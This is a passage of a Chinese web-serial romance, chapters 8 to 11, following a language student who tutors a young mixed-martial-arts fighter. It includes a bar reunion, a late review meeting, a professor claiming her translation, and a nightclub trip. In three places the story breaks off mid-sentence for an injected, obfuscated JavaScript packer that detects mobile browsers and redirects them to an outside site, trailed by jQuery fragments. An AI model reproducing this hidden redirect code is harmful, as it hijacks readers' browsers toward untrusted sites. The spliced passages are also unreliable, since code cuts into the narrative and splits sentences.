她本来是随口一问,没想到江聿行看了一下表,说:“我刚才听你说晚上不忙,不如去酒吧喝一杯,我们慢慢聊?” 燕棠哽了一下,竟一时间找不到什么借口拒绝,转念一想,这也算是为宋郁谋福利了,便答应:“行,去哪家?” 他们去了附近一家清吧,坐落在一条窄巷里,中式风格,典雅安静。 “平常喜欢喝一点儿吗?”江聿行翻着酒单。 燕棠在北京待了快四年,很少涉足酒吧。 唯二两次去,都是在大一年少无知的时候。一个是五道口的一家类似夜店的蹦迪酒吧,里面挤满了韩国学生,她的潮人恐惧症犯了。另一次是去什刹海,那里酒吧拉客风格太豪放,她社恐犯了。 江聿行听她说不常来,便做主给她点了杯果味低度酒。 他点酒很熟练,大概是经常来喝,还会细问基酒的品牌,并且周到地嘱咐要给女士这份降低酒精量。 燕棠在他点单时默不作声地喝柠檬水。 她觉得江聿行和高中时变化真大。 江聿行在十五六岁时就长得很高了,清俊帅气,有股意气风发的劲儿,骨子里是藏不住的少年活力。 往事如风一般在燕棠的脑海里刮过,她的目光徘徊在面前的男人身上。 江聿行现在变得很成熟,那股青涩感已经被时间的流水无声冲刷而去,柔和的面部轮廓也变得锐利清晰。 他说话时总有挥之不去的疲倦感,尽管燕棠能感觉到他在克制地掩饰。 “刚刚你说起在给学生补习中文,能具体说说有什么困难吗?” 燕棠详细说明了一下情况。 还真别说,学霸果然是有自己的好方法,她得到了不少有效的小建议,比如将一些记忆困难的内容贴在生活起居处,增强无意识记忆等等。 聊着聊着,那股生疏便散了不少,燕棠忍不住说:“你看起来有点儿憔悴,平常还是注意身体,你们学金融的都太卷太拼命了。” 江聿行微微一怔,神情蓦地松懈下来,叹了口气,坦诚道:“其实主要是临近毕业,又刚刚分手,总想找人说说话。今天没有麻烦你吧?” “没关系,和你聊天挺开心的。”燕棠对失恋的人很体贴,“而且你的方法听上去很有用,我还要替我学生谢谢你呢。” 他笑了笑,“其实都是笨方法,我记得有几次我的英语成绩还没有你的高。” 这话是江聿行谦虚了,实际上就算当年燕棠的英语成绩比他高,也顶多超过一两分而已。 但让燕棠惊讶的还是他的记性,“没想到你还记得这些事。” “以前总是我发试卷,所以大家的字迹多少都记得,你的字很好看。” 听到这里,燕棠神色一滞,想到自己年少时头昏脑涨给他写过的情书和塞过的纸条,心里开始慌了。 江聿行不言不语,垂眸看着她。 室内昏暗,散尾葵静立在百叶窗边,外头的光漏进来,落在燕棠脸上,也照亮了她那和从前并无二致的,柔和安静,带着些紧张的神情。 他喉头滚动,有些话终究是没提,浅浅笑了笑,说了个无伤大雅的谎言:“只是过了那么多年,早就忘得差不多了,只记得你的字很好看。” 燕棠长长舒了口气,又听他忽然问:“是不是有人找你?” 江聿行擅长找话题,从酒店门口到这里,一路上话头就没断过,燕棠也没有看手机,刚才坐下顺手就把手机屏幕倒扣在桌面上。 得亏这里光线太暗,手机屏幕亮起,边缘就渗出一圈光来。 她翻过手机一看,心下一惊——怎么这么多条微信消息?! 燕棠匆匆忙忙打开微信,发现竟然是宋郁发来的。 密密麻麻十几条,中英俄三语齐上,平常写作业也没见他这么积极。 她目光落在最后一条消息上,估计是很着急,都是用俄语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882172|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打的。 「你在哪里?临时要开ACL冠军赛复盘会议。」 宋郁虽然平常喜欢耍赖皮,但在训练工作上态度非常严肃,之前也偶尔有过赛事视频出得晚,需要夜间复盘的情况。 但如果是这种情形,一般都是非常重要的对战了。 燕棠立刻回复:「刚才没看到手机,我现在赶过去开会还来得及吗?」 对方迅速回了:「我去接你,把地址发给我吧。」 燕棠把地址发过去后,歉意地对江聿行说:“不好意思,临时有个翻译工作。” “没关系,不过这么晚了,我送你过去吧?” “不用不用,有人来接我。” 燕棠知道宋郁来接,又坐在桌边跟江聿行再闲聊几句,没一会儿便见酒吧的门被人从外推开。 一个高大的身影走进来,卫衣运动裤,脸色冷冷淡淡的,朝室内扫了一圈,便往她这边走过来。 “哎,他来了,那我先走了。” 燕棠刚站起来,宋郁就顺手接过她的包。 他鼻尖微动,伸手扶住她,皱眉用俄语道:“你喝了酒?” “一点点。”燕棠拍了拍他的手臂,“不影响工作。” 江聿行也站起来,有些意外地看向她身边的男孩儿,视线又落在两人颇为亲密的姿势上:“这位是?” “他就是我的学生Kirill,中文名叫宋郁。”燕棠笑着向他介绍。 两人客气地打了声招呼,江聿行送他们到门口,路边停着一辆黑色超跑,宋郁走过去给她开门。 燕棠站在路边一脸迷惑——他今天怎么自己开车?还开一辆这么高档的跑车? 这时,身后的江聿行忽然叫了她一声。 燕棠回头。 江聿行站在巷子口,身影被路灯拉得长长的,如果不是穿着高领毛衣长外套,乍一看颇像他十六岁的时候。 在这一刻,燕棠忽然有些感慨。 人真是不知不觉地被时间改变了,她喜欢过的男孩子已经和别人经历了爱恨分离,她自己也不再为他而有心情的起伏。 “注意安全。”江聿行声音里似乎有些担忧。 燕棠笑了笑,朝他招招手。 “好,再见,你也照顾好自己。” 一转身,她便看见宋郁靠在车边,长睫垂下,双唇微抿,一脸不高兴的样子。 “不高兴了?抱歉,刚才真的没注意手机消息,是不是耽误了会议进度?”燕棠连忙坐上车。 宋郁坐上另一边驾驶位,启动车辆后才说:“不是,我只是不喜欢那个人。” 燕棠微微一怔,觉得有点儿好笑:“你又不认识他,怎么就不喜欢他了?” “我一眼就可以看出他是什么样的人。” 宋郁直白地说:“他肯定是那种假正经的人。” 就像他哥一样假正经。 他瞥了燕棠一眼,见她不言不语看着窗外,好像在思索什么。 “你喜欢的人就是他?” 燕棠不想跟学生讨论自己过去的感情,只说:“你先认真开车吧。” 顺便捏了下他白皙的脸颊。 掐脸这种事有一就有二,都怪他脸蛋手感太好! 燕棠收回手,没注意到宋郁的脸色忽然就变好了。 时间将近十点,这会儿路过国贸有些堵,她左看右看,很快发现这不是去海淀区的方向,“不是说去开会吗?” “时间太晚,开的是远程会议。”宋郁淡定地说。 “喔,那我们现在去哪儿?” 宋郁方向盘一转,车开上北四环,“去我家。” 9.脸颊上 别墅里只有玄关处亮着灯,娜斯佳不在家,四处都静悄悄的。 燕棠跟着宋郁一路走上二楼,这里也只有走廊亮着灯。 这间别墅面积很大,二楼是主人家的生活区,走廊拐过去还有一大片区域,是娜斯佳和宋郁爸爸的卧室和书房,另一侧则是他哥哥住的地方。 走廊墙上挂着价值不菲的油画,角落里摆有挂毯和瓷器,不远处的开放式休息区有一面中式屏风,完美地融合了中国人和俄罗斯人的审美喜好,虽然现在稍有些冷清,但还是能看出这家人精心生活的痕迹。 “去我哥的书房。” “啊?” 燕棠还没反应过来,就被他拉进了走廊尽头的一个房间里。 这两兄弟的房间格局是一样的,书房和卧室由一道内置走廊连通,通向面积宽敞的更衣室和浴室。 不过看上去他哥不常在这里住,房间内的东西比宋郁的还要少,只有办公桌椅和一面宽屏电视,另一侧墙边的置衣架上挂着一套盖着透明防尘罩的白衬衣和深色领带。 此刻桌上摆着宋郁的笔记本电脑,投影至电视上的是腾讯会议,教练唐齐和红姐超子他们都在会上,趁他们还没到的时候在闲聊。 原来是要用电视投屏。 “到了就开始啊。”唐齐开麦说了声,电视屏幕上就转成了赛事视频,“这场刚比完,这个泰国选手值得注意一下,你们仔细看看他们的打法。” Ascendbat League,简称ACL,是亚洲地区性的顶级赛事。屏幕上是一位日本选手和泰国选手对决,泰国选手阿提猜·拉瓦塔那在短短一分钟内就用拳打破了对手的鼻梁。 “艹这个拳也太快了吧,田村连头都不挡一下。” “没反应过来吧。” 比赛决出了胜负,日本选手满脸鲜血地被扶着离开了场地。 按照惯例有赛后主持人采访的环节,问阿提猜是否有想要对战的选手。他凑近话筒,忽然对着镜头大喊一句:“Kirill!娃娃脸,来爸爸这儿,我用拳头教你怎么当个好孩子!” 观众喜欢剑拔弩张的气氛,这戏谑中带着挑衅的话点燃了全场。 唐蕊心说过,“娃娃脸”是宋郁最讨厌的外号。 燕棠悄悄看了他一眼。 宋郁的脸色果然不大好看,目光冷冷地看着视频上的黄皮肤男人,随后露出个不屑的笑,“他想像他弟弟一样被我送进医院,行啊,那就跟主办方申请排赛。” 视频那边的教练沉默一秒,有些不赞同:“你的目标是拿下ACL冠军赛就进入UFC,阿提猜的经验比你多,站立打击非常猛,尤其是肘膝组合技和低扫腿,但地面缠斗并不是他的强项。你现在技术训练的优势不明显,最后这几场最好还是稳妥一点。” 教练的英语不算特别差,但他的英语大概都来源于赛事经验,所以在许多细节性的描述上不够准确,常常需要中文辅助,有些时候还带着点儿中国式的口语,就不在宋郁的理解范围。 燕棠轻声在他旁边补充解释。 “那就调整训练方案,我要跟他打。” 宋郁毫不犹豫地做了决定。 难怪这么急着晚上开会,他肯定已经提前看过视频决定要应赛,刚才心情不好估计也有这个因素。 燕棠收回目光。 会议结束,她收拾好笔记,“我明早会把今天新学的中文笔记发给你,对了,我刚才跟朋友聊天的时候,还问了些加强记忆的方法,你可以试试。” 燕棠跟宋郁说了一番江聿行介绍的方法。 “你跟他去酒吧聊天,是为了帮我问学习方法?”他的声音忽然轻快了些许。 燕棠点头,“他的成绩又好又稳定,肯定有用。” 听她又开始夸赞那人,宋郁的眉头微皱,眼皮一掀,那双漂亮的眼睛直视她,认真说:“我又不是记忆力不好,你别把我看得那么笨。” “不是说你笨,你确实是没时间嘛。”燕棠已经知道他的脾气,耐心解释,“我会帮你把难记的那些知识点写在小贴纸上,放在你家里的健身房和卧室,怎么样?” “你帮我写吗?” “对呀,你又没有时间。” 她低下头去,声音还是温温柔柔的,用笔在本子上记下这件事。 宋郁撑着下颌静静看她写字,也许是刚才喝了点儿酒,她脸颊上浮着一点惹人心痒的红,细碎的发丝垂下,缠在白皙脸颊边。 “那我可以勉强接受这个方法。” 说得好像是为了她学的一样,燕棠抬头,无奈地看了他一眼,“你要用心记。” 这时,吴阿姨敲响了门,随后轻轻推开一道门缝,问:“没打扰你们吧?Yana老师饿了吗?我准备了酸奶和水果。” 燕棠看了眼时间——竟然已经过了晚上十二点! “我得赶紧回学校了......” “老师,时间太晚了,你今天就住在这里吧,我家有很多客房。”宋郁拉住她。 “住在这里?”燕棠一怔 “家里其他人都不在家,我妈妈就算知道了也会很欢迎你的。”宋郁劝她,“明天是周日,你又要来上课,今晚这么晚了,明天又要过来,住下来更方面。” 他说得很有道理,吴阿姨也附和。 明天的补习是从下午开始,但如果这么晚回去,明天估计也是快中午才起得来,吃个午饭也就又要出发了。 燕棠思索片刻,便还是决定留下来。 客房配置齐全,有独立的浴室和卫生间,知道她什么都没带,吴阿姨还拿来一套大牌护肤品小样,“不知道你习惯用什么品牌,皮肤容不容易过敏?这个牌子可以吗?” 燕棠看了眼那几个绿色小盒子,连忙道谢。这已经远超她平常的规格了。 等吴阿姨走后,她关上门,脱下外套,扎起头发,去浴室梳洗清理。忙了一整天,疲惫如潮水般袭来,她刷牙时都已经睁不开眼。 刚准备躺上床,门又被敲响。 燕棠以为是吴阿姨,小跑过去打开门,看见来人后愣了愣,“宋郁?” 他应该是刚洗完澡,头发还是湿润的,浅棕的发色被水润湿后成了深色,显得更加唇红齿白。 由于离得太近,他身上还带着温热的水汽,透过空气流动蔓延至她的面颊。 燕棠忽然脸一热,垂下眼去,又瞥见他袖口下的手臂内侧浮起青色血管,如叶脉般延伸至小臂。 自从和他熟悉之后,她都把宋郁看作是学生或者弟弟,但在某些时候,她偶尔也会鲜明地从他身上感知到属于成年男人的......性感。 “老师,住得还习惯吗?” 燕棠听到这声称呼,不由得吸了口气,谴责自己刚才的想法实在是太罪恶,“这里挺好的,就是麻烦你和吴阿姨了。” 她低着头,因为刚才那一点点不道德的走神而心虚,声音也变得软绵绵的。 却没想下一秒,宋郁忽然伸手碰了碰她的脸颊。 燕棠下意识后退一步,抬头惊愕地看向他,“怎、怎么了?” “老师的脸还是红的。”他目光还在她的脸颊徘徊,“以后还是别喝酒了,女孩子单独和男人去喝酒很不安全。” 燕棠神情蓦然放松,“放心,我又不是随便和不认识的人去。” 听她这么说,宋郁抿了抿唇,没吱声。 床上的手机忽然响了,燕棠连忙去走过去一看,发现竟然是江聿行打来的电话。 接通电话,江聿行的声音响起,像是舒了口气,“你没事吧?” “我很好,怎么了?” 燕棠偏过头一看,发现宋郁还没走,正抱臂靠在门边没走,朝她看过来。 电话那头还在说:“王奇雨刚才给我打电话,说你还没回宿舍,还以为你跟我待在一起。” 燕棠失笑,“不好意思,我在学生家里,刚才有工作,还没来得及跟奇雨说一声。” “那你到宿舍的时候也跟我说一声吧。” “我今晚会住在学生家里,没事,你别担心。” “......住在学生家里?今天来接你的那个学生Kirill?”江聿行的声音有些迟疑。 她跟江聿行稍微解释了两句才挂掉电话。 宋郁这段时间的中文有显著进步,诸如“学生”“别担心”之类的词都听懂了。 他还看见燕棠在笑。 燕棠把手机放下,一抬头,见他垂着眼沉思,又像是不高兴的样子。 “是不是太累了?今天你白天训练上课,晚上还开会,太辛苦了,快去睡吧。” 宋郁的目光在她脸上徘徊片刻,才扬起一个笑,“嗯,我来找你是要跟你说晚安。” 走廊柔和的灯光落在他脸上,他的嘴唇是淡粉淡粉的,脸蛋是奶白奶白的。 燕棠又看得手痒,刚一抬手,这小子竟然很有先见之明,赌气般仰头躲开她。他海拔太高,故意避开的时候,她还真的够不到他的脸。 可等她要收回手的时候,宋郁又像是勉为其难地低下头。 这哪还能忍,燕棠直接上手开始肆意揉搓,笑着说:“难怪娜斯佳喜欢掐你的脸,以后你的女朋友可有福气了......” 宋郁忽然掀起眼皮,带着一抹金调的绿色瞳孔直视着她。 不知怎么的,燕棠的心里忽然咯噔一跳,迅速地把手收回了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那壮汉痛呼一声:“F**k!” 宋郁瞬间松手,单手撑起身体站起来,眉头压低,眼神里还残留着狠厉。 他扯过墙边的毛巾擦汗,视线一扫,这才发现燕棠站在门口。 燕棠被他看了这么一眼,背后立刻发毛,也不敢打扰他训练了,迅速地溜回一楼餐厅,坐下喝口咖啡。 ——宋郁训练时的样子和平常真是判若两人,如果非要说的话,还是平常的样子可爱些。 餐厅一侧是落地的格子窗,外头是别墅后花园。 冬季万物蛰伏,但有两株腊梅却开得很好,轻盈的鹅黄色上覆有一层薄薄的白雪,阳光融融地落在上面,看得人心情舒畅。 燕棠坐在窗边看了会儿景色,终于回过神来,打开电脑,趁现在有空继续干会儿翻译工作。 过了大约一个小时,宋郁终于训练结束,从地下室上来事已经冲过澡换了身衣服。 他走到燕棠身边,低声问:“老师,刚才是不是吓着你了?” “没有,我是怕打扰你才离开的。” 燕棠在电脑面前坐了一个多小时,站起来伸了个懒腰。 回想起刚才看见的那一幕,她忍不住感叹道:“那位教练应该和你差不多重吧?你把他摔得好轻松啊,你的力气有多大?” 话音刚落,燕棠忽然感觉身体一轻,立刻惊叫出声。 她竟然就这么被宋郁扛起来,坐在了他的肩上! “反正我可以随时把你抱起来。”宋郁笑着对她说。 讲真的,燕棠还没呼吸过这个高度的氧气。 她出于求生本能抱住了他的脖颈,声音有些发颤:“快放我下来我害怕!” 由于太着急,燕棠说的是中文。 宋郁另一只手扶住她的腰,任由她抱着自己,眉眼弯弯,“老师,你刚才说的话我没听懂。” 她瞪了他一眼,用俄语说:“放我下来,然后把这句话的中文抄十遍。” 双脚再次踩在地面上,燕棠的魂终于回到身体里,坐在椅子上连喝了三口咖啡冷静一下。 宋郁注意到她的电脑屏幕上显示着俄文诗,凑过去念了出来。 /漫长的冬季浮动在伏尔加河上 这人间的日头永远地落了 鹰群飞略过冰层 没有听到冰层深处有河水 正如我的爱情般静默流动/ 他念得很轻,声音如丝绒滑过她耳畔。 “老师,你读这首诗的时候在想谁?”宋郁看向她。 燕棠侧过头,大脑忽然空白一秒,迟迟没有回答。 他们的距离太近了。 她能看见光影在他长长的睫毛上跳跃。 也能看见他漂亮的瞳孔里映着的她自己。 10.兔子洞 北京冬天的阳光很神奇。 如果坐在室内看,会觉得它很美,让人不自觉地去欣赏、亲近。 但如果走到户外,当那阳光真正落在身上的时候,就会知道它其实并没有温度。 是迷人的,也是冰冷的,凉薄的。 表姐在婚前跟她吐槽,说这世上有两种男人最有脾气——有钱的和好看的。如果你碰见一个又有钱有好看的,玩不起就赶紧跑。 这冬日阳光大概跟那样的男孩儿们有着相似的个性。 当此刻和宋郁四目相对时,燕棠读到了某种暧昧的、陌生的信号。 ——这段时间以来,她猜测宋郁对感情是缺乏兴趣的。但这不代表他不知道,不代表他不会坏心眼地使用他的魅力。 燕棠觉得自己这么想有些卑鄙,她希望刚才那种信号是错觉,但脑中的警铃已经在无声敲响,声音荡得她的心绪不平。 这近一个月以来,他们一周内有五天都待在一起,距离不知道在何时变得过于接近,以至于显得并不太合适。 纵使十八岁的宋郁真的单纯、热情又讨人喜欢,但二十一岁的燕棠应该知道边界在哪里,尤其是作为他的中文老师。 “这是我的翻译工作,我只想着我的报酬。” 她直起身子,稍微与他拉远了一点距离,笑了笑,“你去稍微休息一下吧,吃过饭后我们要开始上课了。” 宋郁愣了一下,迟迟没有动,目光落在她身上很久。 “怎么了?”他声音平静地询问。 “嗯?” 燕棠没有看他,而是移开视线继续看向电脑屏幕,同样平静地答:“没什么,只是提醒你要趁这个时候赶紧休息。” 过了好一会儿,宋郁才收回视线,转身离开餐桌。 “听老师的。”离开时,他轻声这么说。 午饭后,燕棠一进入书房,就看见宋郁在抚玩那只山雀标本。 那只山雀在他的掌中显得尤其娇小,他的指尖拂过鸟喙,缓慢地触碰着它的头部,然后展开掌心,将整只鸟都拢在手中。 燕棠相信只要他收拢手掌,就能将那只山雀捏碎。 “上课了。”她走过去,在宋郁身边坐下。 宋郁掀起眼皮看她,像往常那样露出了一个笑,“好。” * 当时间日复一日地往前走时,人总是容易对它的流速感到麻木。 燕棠上完课后回到宿舍,打开日历数了数日子,发现离过年也只剩下三周罢了。 她已经收到了宋郁未来一个月的日程表,他的比赛时间定在二月下旬,大年初三之后就会离开北京到上海进入一周的封闭式训练,上海的训练中心有专门的翻译和外国教练,不需要她到场。 直到赛事结束后,宋郁才会回到北京,而到那个时候,他就要参加预科考试了。 也就是说,她在三周之后就不会跟在宋郁身边,家教工作其实在那时就算是结束,之后是否还会继续在俱乐部陪同他进行训练还是不确定的事情。 如果这份工作就这么结束了,那她在未来也许还得找一份工作,至少撑到毕业彻底搬离北京的时候。 话虽如此,燕棠还是尽职尽责地制定好宋郁接下来的学习计划,并开始着手制作一本可以供他在封闭训练期间使用的中文手册,如果未来不需要她继续陪同训练了,他也可以用这本手册作为参考。 这工作花了她接下来一整周的时间,翻译诗集的工作进度便慢了下来。 于是当燕棠收到郑琦老师邀请她去办公室见一面的邀请,聊一聊翻译工作时,她感到非常忐忑。 周二下午,燕棠按照郑老师发来的地址,敲响了学院二楼南走廊的第二扇门。 办公室里堆满了书,除了占据一面墙的书架之外,桌上路边都垒着书,繁杂而不凌乱,在书堆相间之间还摆放着花花草草。 郑琦老师看上去很年轻,黑发束在脑后,戴着副眼镜,说话很温柔。 原来是学院最近在跟一个基金会合作建立一个‘中俄青年交流文库’的丛书品牌,主要是翻译一些中俄新兴青年作者的作品,有中译俄也有俄译中,资金很充足,目前在选拔翻译组人员,郑老师问燕棠是否感兴趣。 “我看过你的简历,硬性条件上已经满足了,不过除了翻译这本诗集之外,你还有没有什么别的作品?” 当然有了,她还有一个在去年被贬斥成一无是处的翻译成果,而那位负责的崔平山老师已经在今年荣升副院长。 燕棠很想谎称没有,但如果郑琦老师就这么把她的名字报上去,估计迟早也要知道。 果然,在她老实地说了去年的情况后,郑琦有些意外,思索了一下,委婉地说她会再去了解一下情况。 不过郑琦老师倒是并没有因为那件事对她产生偏见,而是又关心了一下目前的翻译进度,说她试译的片段蛮好的,问燕棠是不是经常做文学类翻译。 其实燕棠做的翻译并不多,但以前读过不少文学作品,在翻译里难免受阅读经历影响,算是有一些直觉性的判断。 “挺好的,坚持这个习惯。” 燕棠把郑老师的夸奖当做客气。 聊了一个多小时,她才离开学院,准备去图书馆继续工作。 太阳再次隐没在云层里,沿路只有枯枝老树,燕棠感觉有朵乌云飘在心头,压得胸口沉闷,喘不过气来。 其实去年在崔平山主持的翻译组里闹得不开心,不仅是当时收到了严厉的批评,还因为燕棠当时并不认同他的观点,难得硬气一回,在工作联络群里有理有据地发出了一长段自己的见解,解释她为什么要那样进行翻译。 显然那一段话除了助燃崔平山的怒火之外没有任何用处,她在那之后就被踢出了翻译组,那本文集后续的情况就不得而知了。 图书馆一楼正在做书展,不少学生驻足在展台前翻阅样书,燕棠路过时瞥了一眼立式海报,愣住了。 上面是书展主编的照片,五十岁上下的年纪,方框眼镜,灰白夹杂的头发,下耷的唇角——这不就是学院的崔平山副院长吗? 海报上大写的书名正是她去年参与翻译的那一套文集。 燕棠犹豫片刻,还是走到展台边,拿起一套样书翻开看。 她之前参与翻译的是文集中的一篇中篇小说,作者小有名气,至少能在维基百科上搜到,虽然成果被否,但燕棠当时仍然倾注了很多心血,也想看看最后究竟被改成什么样才能出版。 书页刷刷翻过,燕棠的目光落定在某一页上,往下一目十行。 越看心跳越快,呼吸越急促,连翻页的手都在抖。 这跟她当时交上去的翻译稿有什么区别? 这篇译稿在被崔平山批评后就被直接转至他手中,说是由他把控质量,直接修改,于是书上给这篇小说印着的译者也写了崔平山的名字。 燕棠的大脑一片空白,心里又气又委屈,在原地呆立半天,给关系最好的王奇雨发去消息。 得知这一情况的王奇雨也出离愤怒,连发了五六条消息都在说这事儿离谱。 但听到燕棠说要去问清楚情况的时候,她却说:“可崔平山是审核我们毕业论文的学术委员组组长。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895360|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话如一记重锤,砸得燕棠的脊骨直不起来。 她知道自己很渺小,但此刻仍然为这种渺小而感到极其丧气,以至于晚饭都没吃下几口。 “算了,还是毕业重要,最重要的是身体。” 王奇雨特意来食堂陪她一起吃饭,给她做思想工作。 “咱们胳膊拧不过大腿,反正不是专业干这行的,就当吃了次暗亏吧。” 燕棠知道她说的有道理。 但她花了很多心力翻译这篇稿子,如果是水平不足也就罢了,产出的是垃圾,自然是花费再多努力也不值得称道。可现在崔平山原封不动地把她的翻译稿刊出,那她之前经历的那些又算什么呢? 中学里的阅读理解范本总写着要反抗不公和追求真相,可那究竟多难,成本有多高,只有吃过生活得亏才能知道。 人总是在不断受锤的过程中理解生活的真相。 燕棠灰心地想。 索然无味地吃完一餐饭,王奇雨想拉着她在校园里散散步,冷风一吹,脑子冻住了,自然也什么都想不了了。 可燕棠这时候又收到一通电话。 宋郁清朗的声音响起:“老师,你今晚有空吗?” 又是赛事复盘工作。 这种临时出现的工作都算加班费,燕棠不跟钱过不去,跟他说好让司机在西门接她。 王奇雨笑嘻嘻说:“在西门见面,是江班长还是你的宝贝学生?” “是学生,我跟江班长又什么关系。”燕棠有些无奈地说,“今晚我会晚点儿回来,别担心。” * S Monster 俱乐部像是另一个世界。 夜晚来打拳健身的会员多了起来,一楼灯光明亮,非常热闹,到处是拳脚击打声和训练的呵哈声,充满生命力。 而与他们不同,燕棠感觉自己像一道轻飘飘的游魂,慢悠悠地飘落至地下一层训练场。 这里要更加热闹,唐蕊心在台上跟王天铭练拳击,打得像模像样的。 而宋郁则在一旁的跟超子聊着什么,他应当是刚刚训练完,穿着身黑色的训练服,弹性布料裹着宽肩窄腰,肩上搭着条毛巾,手上戴着格斗手套,额前的碎发还有些湿。 注意到她来了,他笑着朝她走过来,用中文说:“缺两个人,要等。” 燕棠点点头。 大概是以前经常听家里说中文,有许多词汇发音已经留在宋郁的记忆里,再加上这段时间高强度教学,帮助他加强记忆,宋郁日常交流进步得很快。 “你吃了晚饭吗?”他又问。 “吃过了。” 宋郁盯着她看了片刻,“不开心吗?” “别瞎猜。”燕棠冲他笑笑。 “我没有‘瞎猜’。” 他听懂了这个词,脸上浮出一个笑。 还戴着拳套的手忽然扣上她的后脑,修长的五指收拢扣住,让她抬起头来,脸蛋彻底暴露在明亮的光线之下。 看上去只是一个轻巧的动作,但燕棠却感受到了那不容拒绝的力道。 她抬眼看向他,对上他那泛着甜蜜的眸子,浑身却出于本能地紧张起来。 “我很熟悉老师这副表情。”宋郁笑着说,“好像又有什么人或者事情伤了你的心,但你不愿意和我分享。看上去很可怜。” 他的中文老师在这段时间里难得展露出越来越放松的姿态,但上周到他家住了一晚,反而像只察觉到危险的兔子,猛地转身躲进了洞里。 触碰着她的指尖泛起一阵细密的酥麻。 他真想再用力一点儿。 11.她撞进去 在燕棠反应过来之前,那只扣住她后脑的手就已经骤然收回。 唐齐拿着资料走出来,招呼所有人进会议室。 俱乐部有三名选手会参加二月下旬的ACL第二期冠军赛,开会的氛围明显要比之前更凝重。对战名单还没有正式公布,但宋郁已经向组委会提交和阿提猜对战的申请,如无意外,他会跟阿提猜对上。 “下周开始,你们三个的体能训练目标改成维持现有体重,这段时间注意下饮食,别乱吃乱喝。” 唐齐交代了一番注意事项才正式开始复盘会。 两个小时的复盘会议,结束时已经是晚上十点。 等唐齐走后,超子拿出手机点开打车软件,笑嘻嘻地说:“来吧,趁地狱模式来临之前去狂欢一波。” 他点了一下现场的人头,“十二个人,正好,我叫两辆六座商务车。” 燕棠愣了下,“你们要去哪儿?我也去?” “当然啊,今晚咱们去工体团建,地方是大小姐挑的,名头是庆祝大小姐和天铭恋爱十九天。”红姐说,“今晚有歌手驻场,卡座难定,还是宋郁帮忙打的招呼。” 宋郁正在一旁回消息,燕棠离得近,不小心瞥见了他的微信界面,聊天对象的头像是个抱着猫咪的金发碧眼小美女。 小美女问宋郁什么时候到,他说准备出发。 燕棠收回目光,斟酌道:“我还是......” “走吧。”宋郁忽然又揉了把她的脑袋,“带你放松一下。” 燕棠被那短暂的触碰激得身体紧绷,下一秒就被唐蕊心热情地挽住手臂拉上了车。 从中关村到工体可不近,车从四环一路开进二环,过了一个小时才停在一个亮着荧光字母“Legend”的大门前,一侧的停车位上一溜儿的超跑。 原来是夜店啊...... 朝阳区跟海淀区的气氛很不同,海淀区总体就是灰扑扑、土了吧唧的,燕棠适应良好。但朝阳区不同,工体这儿就更不一样了。装修新潮的大门前立着一块设计感十足的广告牌,写着今晚的音乐活动,门口站了不少潮男潮女,且不说颜值怎么样,至少打扮前卫,放眼望去好多金色粉色蓝色的脑袋。 燕棠白天去见了老师,特地穿得很老实,薄毛衣牛仔裤帆布鞋,还背了个装着电脑的双肩包,站在夜店门口像是乖学生走错了地儿。 门口的工作人员是个精致妆容的女生,验完票后挨个给他们盖荧光章,她目光在宋郁脸上流连许久,转到燕棠身上时迟疑片刻,说:“小姐姐,我得看看你的身份证。” 宋郁见她掏出身份证给人家看,没忍住笑出了声,“老师,你今天看起来像个小朋友。” 被他这么调侃一下,燕棠有些没底气地说:“我没怎么来过这种地方,会不会扫你们的兴?” 他们继续往里走,灯光越来越昏暗,墙上的挂灯只有装饰性作用,人和人挤成了暧昧的距离,手上的荧光章亮起芭比粉,是朵玫瑰花,下头写着legend一词。 “没关系,我也没来过。” 清亮的声音在她头顶响起,燕棠发现宋郁不知道什么时候已经走到了她的身后。 他说:“你跟紧我就行。” 燕棠一回头,看见一朵荧光玫瑰花往上飘,是宋郁朝她抬起了手。 她下意识喊:“你别抓我脑袋!” 那只手果然往后一挪——拎住了她的双肩包带,微微上提,像拎小鸡一样带着她往里走。 还别说,这地儿黑乎乎的,被拎着虽然很奇怪,但也有种奇怪的安全感。 燕棠之前也就去过五道口的蹦迪酒吧,还没来过工体这带潮人聚集地,没想到这里头面积这么大,天花板上悬着数排射灯,舞池前有超大宽屏,音乐响得震天动地。 燕棠感觉自己五脏六腑都在颤抖,回头看了眼宋郁,他也微微皱着眉,看上去还真是不常来的样子。 这里面已经有了不少人,外侧卡座的桌上摆着一打一打的酒和果盘零食,灯光落在酒瓶上,折射出糜艳的光彩,所谓灯红酒绿、花天酒地,大概就是这么个意思。 路过时男男女女总是瞥过来看他们——基本都是看宋郁的。他戴着棒球帽,只露出半张俊俏的脸,这已经足够看出是个大帅哥,遑论那优越的身高和格斗运动员性感的体格在这种荷尔蒙爆棚的地方更是引人注目。 还没走到位置,就有两个女孩儿来问他要联系方式。 宋郁瞥了她们一眼,提了提手里的书包带子,燕棠在这突如其来的力道下不得不踮起脚,以为是宋郁故意戏弄他,忍不住回头瞪了他一眼。 宋郁随即对那两个女孩儿说:“抱歉,她不同意。” 